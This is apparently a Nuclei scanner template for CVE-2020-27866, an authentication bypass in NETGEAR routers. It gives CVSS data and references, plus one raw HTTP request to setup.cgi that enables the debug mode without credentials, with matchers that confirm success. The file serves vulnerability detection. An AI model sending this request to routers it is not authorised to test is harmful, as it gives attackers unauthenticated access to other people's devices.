id: CVE-2020-27866

info:
  name: NETGEAR Authentication Bypass vulnerability
  author: gy741
  severity: high
  description: This vulnerability allows network-adjacent attackers to bypass authentication on affected installations of NETGEAR R6020, R6080, R6120, R6220, R6260, R6700v2, R6800, R6900v2, R7450, JNR3210, WNR2020, Nighthawk AC2100, and Nighthawk AC2400 routers. Authentication is not required to exploit this vulnerability.
  tags: cve,cve2020,netgear,auth-bypass
  reference:
    - https://wzt.ac.cn/2021/01/13/AC2400_vuln/
    - https://www.zerodayinitiative.com/advisories/ZDI-20-1451/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-27866
    - https://kb.netgear.com/000062641/Security-Advisory-for-Password-Recovery-Vulnerabilities-on-Some-Routers
  classification:
    cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.80
    cve-id: CVE-2020-27866
    cwe-id: CWE-288

requests:
  - raw:
      - |
        GET /setup.cgi?todo=debug&x=currentsetting.htm HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Accept: */*
        Accept-Language: en
        Connection: close

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - 'Debug Enable!'
        part: body